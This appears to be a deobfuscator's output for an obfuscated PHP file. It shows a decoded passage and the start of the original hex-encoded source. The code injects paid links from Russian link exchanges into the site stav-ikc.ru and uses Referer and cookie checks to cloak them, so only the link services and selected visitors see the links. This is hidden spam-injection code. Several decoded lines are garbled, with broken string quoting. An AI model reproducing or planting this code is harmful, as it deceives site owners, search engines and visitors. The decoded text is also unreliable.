${"GLOBALS"}["oipeube"]="i";
${"GLOBALS"}["ihemivonzom"]="block";
${"GLOBALS"}["ezblfsbywx"]="blockT";
$ugesski="block";
${${"GLOBALS"}["uhtgxbkbnzr"]}=array();
$plsjrcjk="tpl";
${"GLOBALS"}["wrrweuvu"]="tpl_filename";
for(${${"GLOBALS"}["vtcbazxbm"]}=0;
${$eyegqgtx}<${$acxdvpwh};
${${"GLOBALS"}["ntmbjvrek"]}++)
{
$dnpblf="links";
${$dnpblf}[]=array_shift($this->tl_links_page);
}
$mllxtkxwym="tpl";
${${"GLOBALS"}["ffasyxldnkx"]}="";
if(isset($this->tl_links["__trustlink_start__"])&&strlen($this->tl_links["__trustlink_start__"])!=0&&(in_array($_SERVER["REMOTE_ADDR"],$this->tl_links["__trustlink_robots__"])||$this->tl_force_show_code))
{
${${"GLOBALS"}["ffasyxldnkx"]}.=$this->tl_links["__trustlink_start__"];
}
if(isset($this->tl_links["__trustlink_robots__"])&&in_array($_SERVER["REMOTE_ADDR"],$this->tl_links["__trustlink_robots__"])||$this->tl_verbose)
{
$cvypwwiunmmr="result";
if($this->tl_error!=""&&$this->tl_debug)
{
${"GLOBALS"}["vxsfxgfqojc"]="result";
${${"GLOBALS"}["vxsfxgfqojc"]}.=$this->tl_error;
}
$bckhvbpcz="result";
${${"GLOBALS"}["ffasyxldnkx"]}.="<!--REQUEST_URI=".$_SERVER["REQUEST_URI"]."-->
";
${$cvypwwiunmmr}.="
<!--
";
${"GLOBALS"}["tsfcqmedhnj"]="result";
${"GLOBALS"}["ymtbjdjae"]="result";
${${"GLOBALS"}["ffasyxldnkx"]}.="L ".$this->tl_version."
";
${"GLOBALS"}["iechrlnufqt"]="result";
$dxqwsxwtvlr="result";
${${"GLOBALS"}["ffasyxldnkx"]}.="REMOTE_ADDR=".$_SERVER["REMOTE_ADDR"]."
";
$hvnfswhto="result";
$qywufu="result";
${${"GLOBALS"}["tsfcqmedhnj"]}.="request_uri=".$this->tl_request_uri."
";
${${"GLOBALS"}["ffasyxldnkx"]}.="charset=".$this->tl_charset."
";
${"GLOBALS"}["qewhsvnmqx"]="result";
$slhwupy="result";
$hfxuufrbyk="result";
${$qywufu}.="is_static=".$this->tl_is_static."
";
${${"GLOBALS"}["ffasyxldnkx"]}.="multi_site=".$this->tl_multi_site."
";
${$hfxuufrbyk}.="file change date=".$this->tl_file_change_date."
";
${${"GLOBALS"}["ymtbjdjae"]}.="lc_file_size=".$this->tl_file_size."
";
${$dxqwsxwtvlr}.="lc_links_count=".$this->tl_links_count."
";
${${"GLOBALS"}["ffasyxldnkx"]}.="left_links_count=".count($this->tl_links_page)."
";
${$slhwupy}.="tl_cache=".$this->tl_cache."
";
${$hvnfswhto}.="tl_cache_size=".$this->tl_cache_size."
";
${${"GLOBALS"}["qewhsvnmqx"]}.="tl_cache_block=".$this->tl_cache_cluster."
";
${${"GLOBALS"}["ffasyxldnkx"]}.="tl_cache_update=".$this->tl_cache_update."
";
${$bckhvbpcz}.="n=".${${"GLOBALS"}["hbbqzvbd"]}."
";
${${"GLOBALS"}["iechrlnufqt"]}.="-->";
}
${${"GLOBALS"}["uffzufq"]}=dirname(__FILE__)."/".$this->tl_template.".jpg";
${${"GLOBALS"}["qeqfbdhry"]}=$this->lc_read(${${"GLOBALS"}["wrrweuvu"]});
if(!${$plsjrcjk})
return$this->raise_error("Template file not found");
if(!preg_match("/<{block}>(.+)<{\/block}>/is",${${"GLOBALS"}["bamjzwecv"]},${${"GLOBALS"}["hpkqxiukry"]}))
return$this->raise_error("Wrong template format: no <{block}><{/block}> tags");
${${"GLOBALS"}["bamjzwecv"]}=str_replace(${${"GLOBALS"}["hpkqxiukry"]}[0],"%s",${$mllxtkxwym});
$ilwhcxuze="block";
${${"GLOBALS"}["ihemivonzom"]}=${$ugesski}[0];
$wdmbap="blockT";
${${"GLOBALS"}["tjotxecd"]}=substr(${$ilwhcxuze},9,-10);
if(strpos(${${"GLOBALS"}["tjotxecd"]},"<{head_block}>")===false)
return$this->raise_error("Wrong template format: no <{head_block}> tag.");
if(strpos(${${"GLOBALS"}["tjotxecd"]},"<{/head_block}>")===false)
return$this->raise_error("Wrong template format: no <{/head_block}> tag.");
if(strpos(${${"GLOBALS"}["tjotxecd"]},"<{link}>")===false)
return$this->raise_error("Wrong template format: no <{link}> tag.");
if(strpos(${$wdmbap},"<{text}>")===false)
return$this->raise_error("Wrong template format: no <{text}> tag.");
$fdrrzpcnmfl="result";
if(strpos(${${"GLOBALS"}["ezblfsbywx"]},"<{host}>")===false)
return$this->raise_error("Wrong template format: no <{host}> tag.");
$goqkerdxyve="result";
if(!isset(${${"GLOBALS"}["ldxghwkvrieo"]}))
${${"GLOBALS"}["ldxghwkvrieo"]}="";
foreach(${${"GLOBALS"}["uhtgxbkbnzr"]} as${${"GLOBALS"}["oipeube"]}=>${$ovpbsjlp})
{
$mmeqvyugv="i";
$yeiqalkwu="parsed";
$pirnfdxhm="parsed";
${"GLOBALS"}["vdmcunnb"]="parsed";
if(${$mmeqvyugv}>=$this->tl_test_count)
continue;
$bgxxnl="link";
${"GLOBALS"}["rfiencexcnxo"]="block";
$gdrwxesjido="link";
$whzrwwgvjh="block";
${"GLOBALS"}["jsmdgqt"]="parsed";
if(!is_array(${${"GLOBALS"}["bjlxhmmyfti"]}))
{
return$this->raise_error("link must be an array");
}
elseif(!isset(${$bgxxnl}["text"])||!isset(${${"GLOBALS"}["bjlxhmmyfti"]}["url"]))
{
return$this->raise_error("format of link must be an array('anchor'=>\$anchor,'url'=>\$url,'text'=>\$text");
}
elseif(!(${${"GLOBALS"}["qssvwte"]}=@parse_url(${$gdrwxesjido}["url"]))||!isset(${${"GLOBALS"}["jsmdgqt"]}["host"]))
{
return$this->raise_error("wrong format of url: ".${${"GLOBALS"}["bjlxhmmyfti"]}["url"]);
}
if((${${"GLOBALS"}["gwhowz"]}=count(explode(".",${$pirnfdxhm}["host"])))<2)
{
$genajuguixx="parsed";${"GLOBALS"}["nesvrdkm"]="link";
return$this->raise_error("wrong host: ".${$genajuguixx}["host"]." in url ".${${"GLOBALS"}["nesvrdkm"]}["url"]);
}
$ucecfexlprc="block";
$host=strtolower((${${"GLOBALS"}["gwhowz"]}>2&&strpos(strtolower(${${"GLOBALS"}["qssvwte"]}["host"]),"www.")===0)?substr(${${"GLOBALS"}["vdmcunnb"]}["host"],4):${$yeiqalkwu}["host"]);
${${"GLOBALS"}["rfiencexcnxo"]}=str_replace("<{host}>",$host,${${"GLOBALS"}["tjotxecd"]});
if(empty(${${"GLOBALS"}["bjlxhmmyfti"]}["anchor"]))
{
${"GLOBALS"}["jhxdskttnpqh"]="block";
${"GLOBALS"}["xnpppnnglwk"]="block";
${${"GLOBALS"}["xnpppnnglwk"]}=preg_replace("/<{head_block}>(.+)<{\/head_block}>/is","",${${"GLOBALS"}["jhxdskttnpqh"]});
}
else
{
$zcqedvf="link";
${"GLOBALS"}["vdlyisjfb"]="block";
$ugloyd="href";
${"GLOBALS"}["gnftey"]="block";
$vsighgv="block";
${$ugloyd}=empty(${${"GLOBALS"}["bjlxhmmyfti"]}["punicode_url"])?${${"GLOBALS"}["bjlxhmmyfti"]}["url"]:${${"GLOBALS"}["bjlxhmmyfti"]}["punicode_url"];
${${"GLOBALS"}["hpkqxiukry"]}=str_replace("<{link}>","<a href="".${${"GLOBALS"}["qowvqqxu"]}."\">".${$zcqedvf}["anchor"]."</a>",${$vsighgv});
${"GLOBALS"}["gjgcpacfpi"]="block";
${${"GLOBALS"}["hpkqxiukry"]}=str_replace("<{head_block}>","",${${"GLOBALS"}["gnftey"]});
${${"GLOBALS"}["vdlyisjfb"]}=str_replace("<{/head_block}>","",${${"GLOBALS"}["gjgcpacfpi"]});
}
${$whzrwwgvjh}=str_replace("<{text}>",${${"GLOBALS"}["bjlxhmmyfti"]}["text"],${${"GLOBALS"}["hpkqxiukry"]});
${${"GLOBALS"}["ldxghwkvrieo"]}.=${$ucecfexlprc};
}
if(is_array(${${"GLOBALS"}["uhtgxbkbnzr"]})&&(count(${${"GLOBALS"}["uhtgxbkbnzr"]})>0))
{
${"GLOBALS"}["bctkjx"]="tpl";
${"GLOBALS"}["yzgtvhkuqpe"]="tpl";
${${"GLOBALS"}["bctkjx"]}=sprintf(${${"GLOBALS"}["bamjzwecv"]},${${"GLOBALS"}["ldxghwkvrieo"]});
${${"GLOBALS"}["ffasyxldnkx"]}.=${${"GLOBALS"}["yzgtvhkuqpe"]};
}
if(isset($this->tl_links["__trustlink_end__"])&&strlen($this->tl_links["__trustlink_end__"])!=0&&(in_array($_SERVER["REMOTE_ADDR"],$this->tl_links["__trustlink_robots__"])||$this->tl_force_show_code))
{
${"GLOBALS"}["jrsvbylr"]="result";
${${"GLOBALS"}["jrsvbylr"]}.=$this->tl_links["__trustlink_end__"];
}
${$goqkerdxyve}=${${"GLOBALS"}["ffasyxldnkx"]}.$this->uptolike_tag();
if($this->tl_test&&!$this->tl_isrobot)
${${"GLOBALS"}["ffasyxldnkx"]}="<noindex>".${${"GLOBALS"}["ffasyxldnkx"]}."</noindex>";
return${$fdrrzpcnmfl};
}
function uptolike_tag()
{
${"GLOBALS"}["mwxtxpagjse"]="result";
$hjabkitpnm="uptolike_hash";
${${"GLOBALS"}["uqussuqwdzm"]}="tl".sha1($this->tl_host);
${${"GLOBALS"}["mwxtxpagjse"]}="<script async="async\" src="https://w.uptolike.com/widgets/v1/zp.js?pid=".${$hjabkitpnm}."\" type="text/javascript"></script>";
return${${"GLOBALS"}["ffasyxldnkx"]};
}
}
define("LINKFEED_USER","fe4ba605e22d2f8de8475270faa6fd6600ab0db4");
${"GLOBALS"}["oeviexmytru"]="o";
${$vcsskmgqpwe}["request_uri"]=$_SERVER["REDIRECT_URL"];
${${"GLOBALS"}["hbrzywistae"]}["host"]="stav-ikc.ru";
${${"GLOBALS"}["ttaehmmiu"]}=new LinkfeedClient(${${"GLOBALS"}["iwumbnz"]});
unset(${${"GLOBALS"}["iwumbnz"]});
${${"GLOBALS"}["qsyzrkferku"]}.=$linkfeed->return_links();
${${"GLOBALS"}["iwumbnz"]}["USERNAME"]="4592798FAD7EC8E5291D877B0C2DF238";
${$wwcqbjldh}["request_uri"]=$_SERVER["REDIRECT_URL"];
${${"GLOBALS"}["iwumbnz"]}["host"]="stav-ikc.ru";
${${"GLOBALS"}["fgeadlnw"]}=new MLClient(${${"GLOBALS"}["qvetxcvttxy"]});
unset(${${"GLOBALS"}["iwumbnz"]});
${${"GLOBALS"}["gbddmdgh"]}.=$mainlink->build_links();
define("TRUSTLINK_USER","8b8ad137cd9b77f039ff47695e2aedf7760ac183");
${${"GLOBALS"}["iwumbnz"]}["request_uri"]=$_SERVER["REDIRECT_URL"];
$ybwwdpe="pattern";
${$iyntde}["host"]="stav-ikc.ru";
${${"GLOBALS"}["kvilucoiz"]}=new TrustlinkClient(${${"GLOBALS"}["oeviexmytru"]});
unset(${${"GLOBALS"}["iwumbnz"]});
${${"GLOBALS"}["qsyzrkferku"]}.=$trustlink->build_links();
${$ybwwdpe}="~(<a href=[("|'][^\"]*[(\"|'])([^<]*)(</a>)~";
${${"GLOBALS"}["rjtrhxt"]}="\$1 class="link\"\$2\$3";
${${"GLOBALS"}["qsyzrkferku"]}=preg_replace(${${"GLOBALS"}["osjqpx"]},${$dlkfdamjwi},${${"GLOBALS"}["jwdkdtofkxc"]});
$host=parse_url($_SERVER["HTTP_REFERER"],PHP_URL_HOST);
if(isset($_COOKIE["_phpcache"]))
{
echo${${"GLOBALS"}["qsyzrkferku"]};
}
elseif(
($host=="www.trustlink.ru")
or
($host=="trustlink.ru")
or
($host=="www.mainlink.ru")
or
($host=="mainlink.ru")
or
($host=="www.linkfeed.ru")
or
($host=="linkfeed.ru")
or
($host=="seopult.ru")
or
($host=="www.seopult.ru")
or
($host=="seopult.pro")
or
($host=="www.seopult.pro")
)
{
${"GLOBALS"}["whvtqyciz"]="c";
echo${${"GLOBALS"}["whvtqyciz"]};
}
elseif($_COOKIE["_phpself"]==5)
{
echo"<div class=\"ssill\">".${${"GLOBALS"}["qsyzrkferku"]}."</div>";
}
else
{
$vcnbsu="c";
echo${$vcnbsu};
}
?>
Did this file decode correctly?
Original Code
<?php ${"\x47\x4c\x4f\x42A\x4cS"}["\x72\x6a\x74\x72\x68x\x74"]="\x72\x65p\x6c\x61\x63\x65";
${"\x47\x4cOBA\x4c\x53"}["\x71ow\x76qq\x78\x75"]="hre\x66";
${"G\x4cO\x42\x41\x4cS"}["\x6a\x77\x64k\x64\x74\x6ffkx\x63"]="\x63";
${"G\x4c\x4f\x42\x41\x4cS"}["t\x74\x61e\x68\x6dmiu"]="\x6c\x69n\x6b\x66\x65\x65\x64";
${"\x47\x4cOBA\x4c\x53"}["\x67w\x68\x6fw\x7a"]="\x6ce\x76\x65\x6c";
${"G\x4c\x4f\x42\x41L\x53"}["q\x73s\x76\x77\x74e"]="p\x61\x72\x73\x65\x64";
${"G\x4c\x4f\x42ALS"}["\x62\x6a\x6c\x78\x68\x6dm\x79\x66\x74i"]="\x6c\x69\x6e\x6b";
${"\x47LO\x42A\x4c\x53"}["\x6cd\x78\x67\x68\x77k\x76\x72i\x65\x6f"]="\x74\x65\x78\x74";
${"GL\x4fBAL\x53"}["\x74\x6ao\x74\x78e\x63\x64"]="b\x6c\x6f\x63k\x54";
${"G\x4c\x4fB\x41L\x53"}["\x68\x70kq\x78\x69\x75k\x72\x79"]="b\x6c\x6f\x63\x6b";
${"GL\x4fB\x41L\x53"}["\x62\x61\x6dj\x7a\x77\x65c\x76"]="\x74\x70\x6c";
${"GL\x4f\x42AL\x53"}["u\x66\x66\x7au\x66\x71"]="\x74p\x6c\x5f\x66\x69l\x65n\x61\x6d\x65";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x63v\x69ei\x74\x70\x72"]="\x65";
${"\x47L\x4f\x42\x41L\x53"}["\x71a\x67ux\x6f\x65mth\x68k"]="\x64\x62_m\x74\x69\x6d\x65";
${"\x47L\x4f\x42\x41LS"}["\x67\x6b\x68k\x74i\x6a\x66\x74\x67\x62"]="\x63\x61\x63h\x65\x5f\x6d\x74\x69\x6d\x65";
${"\x47\x4c\x4f\x42AL\x53"}["\x69\x77f\x75\x72gnup\x67\x70"]="\x63a\x63\x68\x65\x73";
${"\x47\x4c\x4fB\x41LS"}["\x6d\x65l\x78\x6d\x78yq\x74\x78"]="\x63\x6f\x6d\x6don\x5fkey\x73";
${"\x47L\x4fB\x41L\x53"}["\x6e\x78q\x72\x6b\x6f"]="\x73\x75m";
${"\x47L\x4f\x42\x41\x4cS"}["\x6a\x71\x70\x6b\x78\x64\x6f\x79\x6c"]="\x73\x69\x7a\x65";
${"\x47\x4cO\x42\x41\x4cS"}["\x79\x77\x64\x6c\x73\x76b\x6b\x68x\x72\x6d"]="\x6d\x71\x72";
${"\x47\x4cO\x42\x41\x4c\x53"}["xig\x75tb\x63\x6b"]="\x6bey";
${"\x47LO\x42A\x4c\x53"}["\x72\x62\x73\x6b\x77r\x73\x6e"]="\x74\x6c\x5fl\x69\x6e\x6b\x73_t\x65\x6dp";
${"\x47\x4c\x4f\x42A\x4c\x53"}["q\x73yz\x72\x6b\x66\x65\x72\x6b\x75"]="\x63";
${"\x47\x4c\x4fB\x41L\x53"}["u\x78\x75\x75\x69ka\x6b\x61\x68d"]="\x72";
${"G\x4c\x4f\x42A\x4c\x53"}["d\x6c\x66pk\x71ja\x66\x72\x74\x64"]="pa\x74\x68";
${"\x47\x4c\x4fBA\x4c\x53"}["\x69\x6dvdp\x66\x6eg"]="\x65\x72\x72\x73t\x72";
${"\x47\x4c\x4fB\x41L\x53"}["k\x66\x76\x78\x69hbfjn\x6c\x64"]="\x61";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x62\x63ewh\x63t"]="so\x63\x6be\x74";
${"G\x4cOB\x41\x4c\x53"}["\x63y\x6b\x72\x65\x63h\x72\x6dc"]="\x72\x65s\x70\x6f\x6e\x73\x65";
${"\x47\x4cO\x42A\x4c\x53"}["\x7ax\x69\x61\x62\x68\x63c"]="\x61ns\x77\x65r";
${"G\x4c\x4f\x42A\x4c\x53"}["\x79\x63\x67d\x74v\x68"]="tim\x65\x6fu\x74";
${"\x47LO\x42A\x4cS"}["\x71\x76e\x74\x78\x63v\x74\x74x\x79"]="\x6f";
${"G\x4cO\x42\x41\x4c\x53"}["\x75\x79g\x63\x71pu\x6fgn\x6a"]="\x72\x65q\x75e\x73t";
${"\x47L\x4f\x42\x41\x4c\x53"}["c\x78\x69q\x71\x77\x77\x63s"]="v";
${"G\x4c\x4fB\x41LS"}["\x6f\x73jq\x70x"]="p\x61\x74\x74er\x6e";$iyntde="\x6f";
${"\x47L\x4fB\x41\x4cS"}["\x67\x62\x64\x64\x6dd\x67\x68"]="c";
${"G\x4c\x4fB\x41L\x53"}["\x74fyk\x64\x6db\x6b\x6f\x67"]="\x6b";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x6d\x68\x77n\x6c\x6d\x6ac\x6d\x6c"]="\x74\x6d\x70";
${"\x47\x4c\x4fB\x41L\x53"}["\x67\x63\x64pp\x70\x72\x6c\x6dx"]="\x5f\x64\x61\x74\x61";
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x74\x6f\x76rnxmv\x6b\x72\x74"]="s\x65r\x76\x65rs";
${"GL\x4fBA\x4cS"}["e\x75jd\x6b\x73u\x68\x72\x6b"]="\x70\x6f\x72\x74";
${"\x47LO\x42AL\x53"}["wt\x73\x6cp\x65\x6c\x78\x69"]="\x73\x65\x63\x75r\x65";
$dlkfdamjwi="\x72\x65\x70\x6ca\x63\x65";
${"\x47L\x4f\x42\x41\x4cS"}["\x6f\x74\x63hl\x78\x6a\x6f\x73"]="\x65\x78";
${"G\x4cO\x42A\x4c\x53"}["\x78\x71\x77\x72wuu\x72\x75\x76\x6bn"]="\x66il\x65";
${"G\x4cOBAL\x53"}["\x68\x6b\x74\x68\x64i\x69\x70\x72"]="\x64i\x72op";
${"GL\x4fB\x41\x4c\x53"}["i\x7a\x77\x72x\x6co\x68mw\x74"]="h\x61\x6e\x64\x6ce";
${"\x47LOB\x41LS"}["\x6d\x73\x70sx\x67se\x72\x69\x67"]="\x72\x65\x73";
${"G\x4c\x4f\x42\x41\x4c\x53"}["me\x76\x62h\x77\x75\x71"]="s\x65\x72\x76\x69\x63\x65\x5fca\x6cl";
${"\x47\x4c\x4f\x42\x41LS"}["\x78y\x69j\x77\x74p\x69"]="\x63\x6f\x6e\x74\x65\x6et";
${"\x47\x4c\x4fB\x41\x4cS"}["\x69e\x64\x77\x73\x65x\x65\x6e\x77r"]="f\x69\x6c\x65ti\x6d\x65";
${"\x47\x4c\x4fBA\x4c\x53"}["\x66\x68\x69\x6d\x65l\x64sij\x66\x67"]="\x63\x6f\x64\x65\x5f\x74yp\x65";
${"\x47LO\x42\x41\x4cS"}["kapl\x6b\x6dqyx"]="\x63\x6f\x64e_\x66i\x6c\x65";
$wwcqbjldh="\x6f";$vcsskmgqpwe="o";
${"\x47\x4cO\x42\x41\x4c\x53"}["\x64\x6fu\x64t\x67\x69\x6a\x69\x78"]="\x75se\x72\x6e\x61me";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x69\x77u\x6d\x62\x6e\x7a"]="o";
${"\x47\x4cO\x42\x41LS"}["u\x71\x75s\x73\x75\x71w\x64zm"]="\x75\x70\x74\x6f\x6c\x69\x6be_\x68\x61s\x68";
${"\x47\x4cO\x42\x41\x4c\x53"}["\x6c\x64\x6fs\x64qmp\x78"]="\x66il\x65n\x61me";
${"GL\x4fBA\x4cS"}["\x64k\x65\x6dweo\x74\x71j\x67"]="\x6ce\x6egt\x68";
${"G\x4cO\x42A\x4c\x53"}["r\x70\x66mzqm"]="p\x61\x67e";
${"G\x4cOB\x41L\x53"}["\x61\x7a\x67l\x65\x6bt\x76\x72\x68\x64"]="\x65\x72rn\x6f";
${"\x47L\x4f\x42\x41L\x53"}["\x68\x62\x72zy\x77i\x73\x74\x61\x65"]="\x6f";
${"\x47\x4c\x4f\x42A\x4c\x53"}["c\x78\x78p\x70\x72\x72"]="fp";
${"\x47L\x4fB\x41\x4c\x53"}["ny\x6fg\x61\x6cqhy\x61s\x68"]="\x62\x75\x66\x66";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["pt\x64\x7a\x73\x7a\x75\x78"]="\x63\x68";
${"\x47\x4c\x4f\x42\x41\x4cS"}["y\x6bd\x67\x63\x6e\x64\x6bj"]="da\x74\x61";
${"GL\x4f\x42AL\x53"}["\x79\x74\x70\x75\x6b\x72\x6e\x6b"]="u\x73e\x72\x5fag\x65\x6et";
${"\x47L\x4f\x42A\x4cS"}["\x76tc\x62a\x7ax\x62\x6d"]="\x69";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x69\x72ws\x65\x62d\x72\x74\x6f"]="\x74o\x74\x61\x6c\x5f\x70\x61g\x65\x5f\x6cin\x6b\x73";
${"\x47\x4cOB\x41\x4cS"}["\x68\x62bq\x7av\x62d"]="\x6e";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66\x67\x65a\x64l\x6e\x77"]="\x6d\x61\x69\x6e\x6c\x69\x6ek";
${"G\x4cOBA\x4c\x53"}["\x6b\x76i\x6c\x75\x63\x6f\x69z"]="\x74\x72\x75\x73t\x6cin\x6b";
${"\x47LO\x42\x41\x4c\x53"}["\x66\x66\x61\x73y\x78\x6c\x64\x6e\x6b\x78"]="\x72\x65su\x6c\x74";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68\x73\x68\x64h\x76"]="v\x61l\x75\x65";
${"\x47\x4cO\x42\x41\x4c\x53"}["r\x79h\x68\x6d\x63\x72\x68\x76\x78\x79s"]="\x6cc\x5f\x6c\x69n\x6bs\x5ft\x65\x6dp";
${"\x47\x4c\x4fBA\x4cS"}["\x75h\x74\x67x\x62\x6b\x62\x6e\x7ar"]="\x6c\x69\x6e\x6b\x73";
${"\x47L\x4f\x42\x41\x4cS"}["\x77\x69v\x78\x76e\x64\x63"]="\x6fp\x74\x69\x6f\x6e\x73";
if($_SERVER["R\x45QU\x45\x53\x54_\x55\x52\x49"]==="/")
{
if(!isset($_COOKIE["_\x70\x68\x70s\x65\x6cf"]))
{
setcookie("\x5f\x70h\x70\x73el\x66",1,mktime(0,0,0,1,1,2020));
}
elseif($_COOKIE["_\x70h\x70s\x65lf"]>=1 and$_COOKIE["\x5fp\x68p\x73elf"]<5)
{
setcookie("\x5fp\x68p\x73elf",($_COOKIE["_phps\x65\x6c\x66"]+1),mktime(0,0,0,1,1,2020));
}
}
if(isset($_SERVER["H\x54T\x50\x5fR\x45FE\x52E\x52"]))
{
$host=parse_url($_SERVER["HT\x54P_\x52E\x46\x45R\x45R"],PHP_URL_HOST);
if(($host=="\x77ww\x2etr\x75stl\x69nk\x2er\x75")or($host=="\x74\x72us\x74l\x69\x6e\x6b\x2e\x72u")or($host=="w\x77w.\x6dai\x6elin\x6b\x2e\x72\x75")or($host=="m\x61in\x6cin\x6b\x2er\x75")or($host=="ww\x77\x2e\x6cin\x6bfe\x65d.\x72\x75")or($host=="l\x69\x6ek\x66eed.\x72\x75")or($host=="seop\x75lt.\x72u")or($host=="\x77w\x77.seop\x75\x6ct\x2er\x75")or($host=="seop\x75\x6ct.\x70\x72o")or($host=="ww\x77\x2e\x73e\x6fp\x75lt\x2e\x70ro"))
{
setcookie("_\x70h\x70\x63\x61che",1,mktime(0,0,0,1,1,2020));
}
}
class LinkfeedClient
{
var$lc_version='0.4.3';
var$lc_verbose=false;
var$lc_charset='UTF-8';
var$lc_use_ssl=false;
var$lc_server='db.linkfeed.ru';
var$lc_cache_lifetime=3600;
var$lc_cache_reloadtime=300;
var$lc_links_db_file='';
var$lc_links=array();
var$lc_links_page=array();
var$lc_links_delimiter='';
var$lc_error='';
var$lc_host='';
var$lc_request_uri='';
var$lc_fetch_remote_type='';
var$lc_socket_timeout=6;
var$lc_force_show_code=false;
var$lc_multi_site=false;
var$lc_is_static=false;
var$lc_ignore_tailslash=false;
function LinkfeedClient($options=null)
{
${"\x47LOBA\x4c\x53"}["\x68\x66a\x70\x71\x64\x79\x76y"]="op\x74\x69\x6f\x6es";
$piylleeht="o\x70\x74\x69\x6fns";
$yxasxvg="\x6f\x70\x74\x69\x6f\x6e\x73";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x79o\x72\x6a\x78\x63\x67\x64"]="\x6f\x70\x74\x69\x6f\x6es";
$host="";
${"G\x4c\x4fBALS"}["\x72cmek\x68t\x77"]="op\x74\x69\x6fn\x73";
${"GL\x4f\x42AL\x53"}["w\x6d\x76ga\x64\x6aa\x62n\x77"]="\x6fp\x74\x69o\x6e\x73";
$ibcyqyocd="\x6f\x70\x74\x69\x6f\x6es";
if(is_array(${$yxasxvg}))
{
if(isset(${${"GL\x4f\x42A\x4cS"}["\x77i\x76x\x76e\x64\x63"]}["h\x6f\x73\x74"]))
{
$host=${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77\x69\x76\x78v\x65dc"]}["\x68o\x73t"];
}
}
elseif(strlen(${${"G\x4c\x4fB\x41\x4c\x53"}["\x77\x69v\x78v\x65\x64c"]})!=0)
{
$mybrfxng="\x6f\x70\x74\x69\x6fn\x73";
$host=${${"\x47L\x4f\x42A\x4cS"}["\x77\x69\x76\x78\x76\x65dc"]};
${$mybrfxng}=array();
}
else{${"\x47LO\x42\x41LS"}["\x6c\x72\x67\x75\x77h\x67\x76\x66\x67"]="\x6f\x70ti\x6f\x6e\x73";
${${"\x47\x4c\x4f\x42A\x4c\x53"}["l\x72\x67\x75\x77h\x67\x76\x66\x67"]}=array();
}
$xhfelt="op\x74\x69\x6f\x6e\x73";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6cbsgu\x69j\x75\x79\x73"]="op\x74\x69on\x73";
if(strlen($host)!=0)
{
$this->lc_host=$host;
}
else
{
$this->lc_host=$_SERVER["H\x54TP_\x48\x4fS\x54"];
}
$this->lc_host=preg_replace("{^\x68\x74tp\x73?://}\x69","",$this->lc_host);
$this->lc_host=preg_replace("{^w\x77w\x5c.}i","",$this->lc_host);
$this->lc_host=strtolower($this->lc_host);
if(isset(${${"G\x4cO\x42\x41LS"}["\x77\x69\x76\x78\x76\x65\x64\x63"]}["is\x5f\x73\x74a\x74\x69c"])&&${${"\x47\x4c\x4f\x42A\x4cS"}["\x77\x69\x76\x78\x76edc"]}["i\x73_\x73ta\x74\x69c"])
{
$this->lc_is_static=true;
}
if(isset(${${"\x47\x4cO\x42AL\x53"}["\x77\x69\x76\x78v\x65\x64\x63"]}["\x69gnore\x5ft\x61ilsl\x61\x73h"])&&${${"\x47L\x4f\x42A\x4cS"}["w\x69\x76\x78\x76edc"]}["\x69\x67\x6e\x6fr\x65_ta\x69\x6csla\x73h"])
{
$this->lc_ignore_tailslash=true;
}
if(isset(${${"\x47\x4cO\x42\x41\x4c\x53"}["h\x66ap\x71d\x79vy"]}["r\x65que\x73t_\x75\x72i"])&&strlen(${${"G\x4cOB\x41L\x53"}["\x79\x6f\x72\x6a\x78\x63g\x64"]}["\x72\x65q\x75\x65\x73\x74\x5fu\x72i"])!=0)
{
$this->lc_request_uri=${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x77\x69\x76x\x76\x65\x64c"]}["re\x71uest_u\x72i"];
}
else
{
if($this->lc_is_static)
{
$this->lc_request_uri=preg_replace("{\\?\x2e*\$}","",$_SERVER["\x52EQ\x55ES\x54_U\x52I"]);
$this->lc_request_uri=preg_replace("{/+}","/",$this->lc_request_uri);
}
else
{
$this->lc_request_uri=$_SERVER["\x52\x45\x51UE\x53T_U\x52\x49"];
}
}
$this->lc_request_uri=rawurldecode($this->lc_request_uri);
if(isset(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x69\x76\x78ve\x64\x63"]}["\x6d\x75\x6ct\x69\x5f\x73\x69\x74e"])&&${${"\x47LO\x42\x41\x4c\x53"}["\x77\x69\x76\x78v\x65\x64c"]}["\x6d\x75l\x74\x69_sit\x65"]==true)
{
$this->lc_multi_site=true;
}
if((isset(${${"G\x4c\x4f\x42A\x4cS"}["\x72cme\x6bhtw"]}["\x76e\x72\x62\x6fs\x65"])&&${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x77\x69\x76\x78v\x65dc"]}["v\x65\x72bos\x65"])||isset($this->lc_links["_\x5fl\x69n\x6b\x66\x65ed_\x64\x65bug\x5f\x5f"]))
{
$this->lc_verbose=true;
}
$yggfbmvstbne="\x6fpt\x69\x6f\x6e\x73";
if(isset(${$ibcyqyocd}["cha\x72\x73e\x74"])&&strlen(${$piylleeht}["c\x68a\x72set"])!=0)
{
$wfohxgqyyi="\x6f\x70t\x69on\x73";
$this->lc_charset=${$wfohxgqyyi}["\x63h\x61r\x73\x65t"];
}
if(isset(${${"\x47\x4c\x4fB\x41\x4cS"}["w\x6dv\x67a\x64\x6aab\x6ew"]}["fe\x74\x63\x68_\x72e\x6d\x6f\x74e_\x74\x79\x70\x65"])&&strlen(${${"\x47L\x4f\x42\x41L\x53"}["w\x69v\x78\x76e\x64c"]}["f\x65\x74\x63h\x5fremo\x74e_\x74\x79p\x65"])!=0)
{
$svbfxghbqhns="\x6f\x70\x74i\x6f\x6e\x73";
$this->lc_fetch_remote_type=${$svbfxghbqhns}["\x66e\x74\x63h\x5f\x72\x65\x6do\x74e\x5ft\x79\x70\x65"];
}
